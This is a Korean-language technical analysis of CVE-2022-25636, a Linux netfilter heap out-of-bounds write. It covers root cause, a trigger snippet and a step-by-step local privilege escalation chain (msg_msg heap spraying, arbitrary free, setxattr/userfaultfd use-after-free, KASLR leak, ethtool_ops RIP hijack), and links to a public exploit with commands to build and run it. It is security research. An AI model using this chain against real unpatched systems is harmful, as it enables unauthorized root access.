
CVE-2022-25636에 대한 상세 기술 분석 및 익스플로잇 라이트업: 힙 스프레이(heap spraying)와 UAF(use-after-free)를 통해 로컬 권한 상승을 가능하게 하는 Linux 커널 netfilter 힙 오버플로 취약점.
[toc]
취약점 번호: CVE-2022-25636
영향 제품: linux kernel - netfilter
영향 버전: linux kernel 5.4 ~
취약점 위험성: netfilter 커널 모듈에 힙 경계를 벗어난 쓰기가 존재하며, SYS_ADMIN 권한이 있을 때 권한 상승을 유발할 수 있음
취약점은 netfilter 커널 모듈에 존재하며, 취약한 코드는 3개의 ko 파일에 있다.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
qemu로 직접 부팅하면 문제가 있어 ko가 로드되지 않으므로, vmware에서 두 시스템을 연동하여 디버깅한다.
ubuntu 21.10에서는 커널을 수동으로 교체할 수 있다:
apt-get install linux-image-5.13.0-30-generic
그런 다음 기존 커널을 삭제하고 exp를 컴파일한다:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
권한 상승 효과(성공률 50% 미만):

취약점이 존재하는 함수는 nft_fwd_dup_netdev_offload이다:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
flow->rule->action.entries(이 구조체는 가변 길이 구조체이며 배열 크기 정보가 없음)를 설정할 때 힙 경계 검사를 수행하지 않아, 정수(4 또는 5) 하나와 포인터 하나를 경계 밖에 쓰게 된다.
해당 함수는 nft_flow_rule_create 함수에서 사용된다:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
nft_flow_rule_create 함수는 사용자 공간에서 전달된 rule 구조체의 개수에 따라 flow 구조체를 할당하고 처리한다는 것을 알 수 있다. num_actions 변수로 개수를 세지만, 카운트 과정에서는 NFT_OFFLOAD_F_ACTION 플래그가 있는 rule만 계산하며, 그 개수에 따라 해당 크기의 구조체를 할당한다. 이후 offload를 호출하여 처리할 때는 num_actions로 루프를 돌지 않고, 이전과 동일하게 rule 개수만큼 루프를 수행한다. 다만 이때는 더 이상 NFT_OFFLOAD_F_ACTION 플래그를 확인하지 않는다. 즉, 전달된 rule 중 NFT_OFFLOAD_F_ACTION 플래그가 없는 rule이 있다면 이후 offload가 호출되는 횟수가 앞서 할당한 flow->rule->action.entries의 개수보다 많아진다. offload 내부에서 취약 함수 nft_fwd_dup_netdev_offload가 호출될 때마다 ctx->num_actions가 1씩 증가하며, ctx->num_actions는 0으로 초기화되므로 결국 가 배열 범위를 초과하여 경계를 벗어난 쓰기가 발생한다.
일부 구조체:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
호출 스택:
참고 링크: https://www.openwall.com/lists/oss-security/2022/02/21/2
해당 메일은 C 언어의 libmnl 및 libnftnl 라이브러리로 netfilter를 사용하는 방법을 설명한다. 취약점을 트리거하는 핵심 포인트는 추가하는 rule에 NFT_OFFLOAD_F_ACTION 플래그가 있는지 여부다. nftnl_expr_alloc("immediate"); 로 추가한 rule에만 NFT_OFFLOAD_F_ACTION 플래그가 있다:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
익스플로잇은 그리 안정적이지 않지만, 사용된 기술은 매우 정교하다. 이 취약점은 경계를 벗어난 고정 오프셋 위치에 제어할 수 없는 포인터를 쓰는 것이며, 개인적으로 익스플로잇 난이도가 매우 높다고 생각한다. 기술적 수법을 간단히 분석해 보겠다. 취약 코드를 보면 매번 경계를 벗어난 쓰기에서 정수 하나(id, 4 또는 5로 고정)와 포인터 하나(*dev)만 쓸 수 있으며, 이 포인터는 struct net_device 구조체를 가리킨다. 여기서는 dev 포인터 쓰기에만 집중한다:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
struct flow_rule 구조체는 가변 길이 구조체이므로, 할당받을 수 있는 크기 범위가 익스플로잇 성공 여부를 결정한다.
관련 구조체:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {//大小0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
익스플로잇을 진행하려면 먼저 *dev 주소를 두 번 유출해야 한다. 서로 다른 두 dev 주소를 유출해야 하므로, 하나는 현재 프로세스에서, 다른 하나는 자식 프로세스에서 유출한다. msg_msg를 사용하여 유출한다(msg_msg 기술 정리). 크기가 0x1040인 msg를 힙 스프레이하면, msg 구조상 두 부분으로 나뉘며 두 번째 부분은 길이가 0x70이고 헤더 포인터를 더하면 kmalloc-128로 할당된다. 그런 다음 msg 하나를 해제하여 kmalloc-128 하나를 해제한다. 이어서 rule이 하나뿐인 flow_rule 구조체를 사용하는데, 이것도 정확히 kmalloc-128이므로 방금 해제된 msg의 두 번째 부분인 kmalloc-128에 할당되어 다음과 같은 힙 레이아웃을 구성하길 기대한다:

flow_rule이 해제된 msg_msgseg 구조체를 할당받으면 높은 확률로 다른 힙 스프레이된 msg_msgseg와 인접하게 된다. 이 상태에서 한 번의 경계를 벗어난 쓰기가 발생하면 0x8만큼 벗어난 위치에 net_device 힙 포인터(dev 포인터)가 쓰인다. 방금 힙 스프레이한 메시지를 모두 한 번씩 수신하기만 하면 이 힙 포인터를 읽을 수 있고, 주소 유출을 완료하여 후속 공격에 활용할 수 있으며 크래시도 발생하지 않는다.
다음으로 kaslr을 유출하여 커널 베이스 주소를 얻는다. 동일한 방법으로 msg_msg + 힙 스프레이를 사용하여 kmalloc-192 크기의 msg들을 힙 스프레이한다. 이번에는 msg_msg의 첫 번째 부분을 힙 스프레이 대상으로 삼는다. 그다음 이전 방법과 동일하게 하나를 해제하고 flow_rule을 할당하여 다음과 같은 힙 레이아웃을 구성하도록 노력한다:

이번에는 rule 두 개가 포함된 flow_rule 구조체를 사용한다. 크기는 0xC0으로 정확히 kmalloc-192에 해당하며, 경계를 벗어난 쓰기를 6번 수행하면 0x18 + 0x50*5만큼 벗어난 위치에 *dev 포인터가 쓰인다. 그 위치는 바로 아래 세 번째 kmalloc-192 객체의 오프셋 0x28 지점이며, 해당 객체가 msg_msg 구조체라면 security 포인터가 된다. 이때 msgrcv 함수로 이 msg_msg 구조체를 해제하면 kfree가 호출되어 security 포인터가 가리키는 내용이 해제된다. 이것이 msg_msg->security의 임의 주소 해제 프리미티브이며, 관련 코드는 다음과 같다:
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
··· ···
free_msg(msg);
··· ···
}
void free_msg(struct msg_msg *msg)
{
··· ···
security_msg_msg_free(msg);
··· ···
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security);
msg->security = NULL;
}
이렇게 하면 방금 힙 스프레이한 메시지에 대한 수신 작업을 수행할 때, 우리가 security를 덮어쓴 dev 포인터가 해제된다. 즉, net_device 구조체가 해제되는 것이다. 이어서 setxattr + userfaulted를 사용하여 해당 힙 청크를 변조함으로써 UAF를 완성한다. setxattr는 임의 크기의 커널 힙을 할당하고 임의의 내용을 쓴 다음 해제할 수 있다. 커널 익스플로잇에서 흔히 사용되는 기법이다.
현재 커널에는 free 상태의 kmalloc-192 청크가 많기 때문에 setxattr를 한 번만 호출하는 것만으로는 부족하다. 따라서 멀티스레드로 동시에 setxattr를 호출하고, userfaulted를 활용해 호출 시간을 늘려 힙 청크 점유 시간을 증가시킨다. 이를 통해 더 많은 커널 힙을 할당받아 방금 해제된 net_device 구조체를 확보하는 것을 노린다. 할당에 성공하면 net_device 구조체의 내용을 수정할 수 있다. 내부의 dev_addr 포인터를 netdev_ops 포인터로 변경하는데, netdev_ops는 loopback_ops로 초기화되어 있다. 그다음 이름 등을 변경하여 수정 성공 여부를 판단한다:
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
이후 socket의 ioctl에서 SIOCGIFHWADDR 기능을 호출하여 물리 주소를 읽기만 하면 loopback_ops 주소를 읽어내 유출을 완료할 수 있다. net_device에서 유용한 멤버는 다음과 같다:
struct net_device {
char name[IFNAMSIZ]; //修改name判断是否改正确
··· ···
const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
int ifindex;
·· ···
const struct ethtool_ops *ethtool_ops; //用于劫持rip
··· ···
unsigned char addr_len; //用于读取地址长度
··· ···
unsigned char *dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};
동일한 방법으로 setxattr + userfaulted를 사용하여 UAF를 완성한다. 이번에는 커널 주소를 확보했으므로 net_device의 ethtool_ops를 변조하여 eip를 탈취한다. 이후 socket의 iotl에서 SIOCETHTOOL 기능을 호출하면 ethtool_ops의 함수가 호출되어 rip를 탈취하고, 그다음 ROP를 수행하면 된다. ubuntu 21.10 커널 버전 13.0-30에서 재현에 성공했다:
exp:https://github.com/Bonfee/CVE-2022-25636

메일: https://www.openwall.com/lists/oss-security/2022/02/21/2
작성자 문서: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/
ctx->num_actionsflow->rule->action.entries